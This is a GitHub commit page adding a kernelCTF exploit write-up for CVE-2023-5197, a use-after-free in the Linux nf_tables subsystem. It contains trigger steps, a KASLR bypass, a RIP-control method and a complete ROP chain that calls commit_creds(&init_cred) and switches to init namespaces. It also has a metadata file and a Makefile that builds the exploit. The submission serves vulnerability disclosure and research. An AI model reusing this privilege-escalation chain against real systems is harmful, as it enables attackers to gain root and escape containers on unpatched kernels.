Skip to content

Commit 84ae644

Browse files
mingiMingi Cho
and
Mingi Cho
authored
Add kernelCTF CVE-2023-5197_mitigation (#122)
* Add kernelCTF CVE-2023-5197_mitigation * update exploit * update exploit * update exploit --------- Co-authored-by: Mingi Cho <[email protected]>
1 parent 9f97ffa commit 84ae644

File tree

8 files changed

+1367
-0
lines changed

8 files changed

+1367
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,221 @@
1+
# Overview
2+
3+
This vulnerability was discovered by Kevin Rich, and his write-up targeting the LTS/COS kernel can be found [here](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-5197_lts_cos).
4+
5+
```c
6+
static void nft_immediate_chain_deactivate(const struct nft_ctx *ctx,
7+
struct nft_chain *chain,
8+
enum nft_trans_phase phase)
9+
{
10+
struct nft_ctx chain_ctx;
11+
struct nft_rule *rule;
12+
13+
chain_ctx = *ctx;
14+
chain_ctx.chain = chain;
15+
16+
list_for_each_entry(rule, &chain->rules, list)
17+
nft_rule_expr_deactivate(&chain_ctx, rule, phase);
18+
}
19+
20+
static void nft_immediate_deactivate(const struct nft_ctx *ctx,
21+
const struct nft_expr *expr,
22+
enum nft_trans_phase phase)
23+
{
24+
const struct nft_immediate_expr *priv = nft_expr_priv(expr);
25+
const struct nft_data *data = &priv->data;
26+
struct nft_chain *chain;
27+
28+
if (priv->dreg == NFT_REG_VERDICT) {
29+
switch (data->verdict.code) {
30+
case NFT_JUMP:
31+
case NFT_GOTO:
32+
chain = data->verdict.chain;
33+
if (!nft_chain_binding(chain))
34+
break;
35+
36+
switch (phase) {
37+
case NFT_TRANS_PREPARE_ERROR:
38+
nf_tables_unbind_chain(ctx, chain);
39+
nft_deactivate_next(ctx->net, chain);
40+
break;
41+
case NFT_TRANS_PREPARE:
42+
nft_immediate_chain_deactivate(ctx, chain, phase); // [1]
43+
nft_deactivate_next(ctx->net, chain);
44+
break;
45+
default:
46+
nft_immediate_chain_deactivate(ctx, chain, phase);
47+
nft_chain_del(chain);
48+
chain->bound = false;
49+
nft_use_dec(&chain->table->use);
50+
break;
51+
}
52+
break;
53+
default:
54+
break;
55+
}
56+
}
57+
58+
if (phase == NFT_TRANS_COMMIT)
59+
return;
60+
61+
return nft_data_release(&priv->data, nft_dreg_to_type(priv->dreg)); // [2]
62+
}
63+
```
64+
65+
The vulnerability is caused by being able to delete the rules of a chain with the binding flag set. To trigger the vulnerability, create a vulnerable chain with the binding flag set. Then, create an immediate expr in the vulnerable chain that references the victim chain, and then delete the immediate expr. As a result, the reference count of the victim chain is decreased [2]. Then, creating an immediate expr that references the vulnerable chain and deleting it causes the already deactivated rule in the vulnerable chain to be deactivated again [1]. As a result, the reference count of the victim chain is decreased twice.
66+
67+
# KASLR Bypass and Information Leak
68+
69+
To bypass KASLR, I used a timing side channel attack to leak the kernel base, and created a fake ops in the non-randomized CPU entry area (CVE-2023-0597) without leaking the heap address.
70+
71+
# RIP Control
72+
73+
```c
74+
struct nft_chain {
75+
struct nft_rule_blob __rcu *blob_gen_0;
76+
struct nft_rule_blob __rcu *blob_gen_1;
77+
struct list_head rules;
78+
struct list_head list;
79+
struct rhlist_head rhlhead;
80+
struct nft_table *table;
81+
u64 handle;
82+
u32 use;
83+
u8 flags:5,
84+
bound:1,
85+
genmask:2;
86+
char *name;
87+
u16 udlen;
88+
u8 *udata;
89+
90+
/* Only used during control plane commit phase: */
91+
struct nft_rule_blob *blob_next;
92+
};
93+
```
94+
95+
When the vulnerability is triggered, the freed `chain->blob_gen_0` can be accessed via `immediate expr`.
96+
97+
```c
98+
unsigned int
99+
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
100+
{
101+
...
102+
do_chain:
103+
if (genbit)
104+
blob = rcu_dereference(chain->blob_gen_1);
105+
else
106+
blob = rcu_dereference(chain->blob_gen_0);
107+
108+
rule = (struct nft_rule_dp *)blob->data;
109+
last_rule = (void *)blob->data + blob->size;
110+
next_rule:
111+
regs.verdict.code = NFT_CONTINUE;
112+
for (; rule < last_rule; rule = nft_rule_next(rule)) {
113+
nft_rule_dp_for_each_expr(expr, last, rule) {
114+
if (expr->ops == &nft_cmp_fast_ops)
115+
nft_cmp_fast_eval(expr, &regs);
116+
else if (expr->ops == &nft_cmp16_fast_ops)
117+
nft_cmp16_fast_eval(expr, &regs);
118+
else if (expr->ops == &nft_bitwise_fast_ops)
119+
nft_bitwise_fast_eval(expr, &regs);
120+
else if (expr->ops != &nft_payload_fast_ops ||
121+
!nft_payload_fast_eval(expr, &regs, pkt))
122+
expr_call_ops_eval(expr, &regs, pkt);
123+
124+
if (regs.verdict.code != NFT_CONTINUE)
125+
break;
126+
}
127+
```
128+
129+
```c
130+
static void expr_call_ops_eval(const struct nft_expr *expr,
131+
struct nft_regs *regs,
132+
struct nft_pktinfo *pkt)
133+
{
134+
#ifdef CONFIG_RETPOLINE
135+
unsigned long e = (unsigned long)expr->ops->eval;
136+
#define X(e, fun) \
137+
do { if ((e) == (unsigned long)(fun)) \
138+
return fun(expr, regs, pkt); } while (0)
139+
140+
X(e, nft_payload_eval);
141+
X(e, nft_cmp_eval);
142+
X(e, nft_counter_eval);
143+
X(e, nft_meta_get_eval);
144+
X(e, nft_lookup_eval);
145+
X(e, nft_range_eval);
146+
X(e, nft_immediate_eval);
147+
X(e, nft_byteorder_eval);
148+
X(e, nft_dynset_eval);
149+
X(e, nft_rt_get_eval);
150+
X(e, nft_bitwise_eval);
151+
#undef X
152+
#endif /* CONFIG_RETPOLINE */
153+
expr->ops->eval(expr, regs, pkt);
154+
}
155+
```
156+
157+
`chain->blob_gen_0` is used in `nft_do_chain`, and `expr->ops->eval` is called to evaluate the expression in `expr_call_ops_eval`. We set the ops of the fake expr to the CPU entry area to control the RIP and allocate the fake blob object larger than 0x2000 to use page allocator.
158+
159+
# Post-RIP
160+
161+
The ROP payload is stored in `chain->blob_gen_0` which is allocated by page allocator.
162+
163+
```c
164+
void rop_chain(uint64_t* data){
165+
int i = 0;
166+
167+
data[i++] = 0x100;
168+
data[i++] = 0x100;
169+
data[i++] = PAYLOAD_LOCATION(1) + offsetof(struct cpu_entry_area_payload, nft_expr_eval);
170+
171+
// current = find_task_by_vpid(getpid())
172+
data[i++] = kbase + POP_RDI_RET;
173+
data[i++] = getpid();
174+
data[i++] = kbase + FIND_TASK_BY_VPID;
175+
176+
// current += offsetof(struct task_struct, rcu_read_lock_nesting)
177+
data[i++] = kbase + POP_RSI_RET;
178+
data[i++] = RCU_READ_LOCK_NESTING_OFF;
179+
data[i++] = kbase + ADD_RAX_RSI_RET;
180+
181+
// current->rcu_read_lock_nesting = 0 (Bypass rcu protected section)
182+
data[i++] = kbase + POP_RCX_RET;
183+
data[i++] = 0;
184+
data[i++] = kbase + MOV_RAX_RCX_RET;
185+
186+
// Bypass "schedule while atomic": set oops_in_progress = 1
187+
data[i++] = kbase + POP_RDI_RET;
188+
data[i++] = 1;
189+
data[i++] = kbase + POP_RSI_RET;
190+
data[i++] = kbase + OOPS_IN_PROGRESS;
191+
data[i++] = kbase + MOV_RSI_RDI_RET;
192+
193+
// commit_creds(&init_cred)
194+
data[i++] = kbase + POP_RDI_RET;
195+
data[i++] = kbase + INIT_CRED;
196+
data[i++] = kbase + COMMIT_CREDS;
197+
198+
// find_task_by_vpid(1)
199+
data[i++] = kbase + POP_RDI_RET;
200+
data[i++] = 1;
201+
data[i++] = kbase + FIND_TASK_BY_VPID;
202+
203+
data[i++] = kbase + POP_RSI_RET;
204+
data[i++] = 0;
205+
206+
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
207+
data[i++] = kbase + MOV_RDI_RAX_RET;
208+
data[i++] = kbase + POP_RSI_RET;
209+
data[i++] = kbase + INIT_NSPROXY;
210+
data[i++] = kbase + SWITCH_TASK_NAMESPACES;
211+
212+
data[i++] = kbase + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE;
213+
data[i++] = 0;
214+
data[i++] = 0;
215+
data[i++] = _user_rip;
216+
data[i++] = _user_cs;
217+
data[i++] = _user_rflags;
218+
data[i++] = _user_sp;
219+
data[i++] = _user_ss;
220+
}
221+
```
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
- Requirements:
2+
- Capabilities: CAP_NET_ADMIN
3+
- Kernel configuration: CONFIG_NETFILTER, CONFIG_NF_TABLES
4+
- User namespaces required: Yes
5+
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d0e2c7de92c7 (netfilter: nf_tables: add NFT_CHAIN_BINDING)
6+
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f15f29fd4779be8a418b66e9d52979bb6d6c2325 (netfilter: nf_tables: disallow rule removal from chain binding)
7+
- Affected Version: v5.9-rc1 - v6.6-rc2
8+
- Affected Component: net/netfilter
9+
- Cause: Use-After-Free
10+
- Syscall to disable: disallow unprivileged username space
11+
- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-5197
12+
- Description: A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation. Addition and removal of rules from chain bindings within the same transaction causes leads to use-after-free. We recommend upgrading past commit f15f29fd4779be8a418b66e9d52979bb6d6c2325.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
LIBMNL_DIR = $(realpath ./)/libmnl_build
2+
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build
3+
4+
exploit:
5+
gcc -o exploit exploit.c -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -static -s
6+
7+
prerequisites: libmnl-build libnftnl-build
8+
9+
libmnl-build : libmnl-download
10+
tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2
11+
cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install`
12+
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make
13+
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install
14+
15+
libnftnl-build : libmnl-build libnftnl-download
16+
tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz
17+
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install`
18+
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make
19+
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install
20+
21+
libmnl-download :
22+
mkdir $(LIBMNL_DIR)
23+
wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2
24+
25+
libnftnl-download :
26+
mkdir $(LIBNFTNL_DIR)
27+
wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz
28+
29+
run:
30+
./exploit
31+
32+
clean:
33+
rm -rf $(LIBMNL_DIR)
34+
rm -rf $(LIBNFTNL_DIR)
35+
rm -f exploit

0 commit comments

Comments
 (0)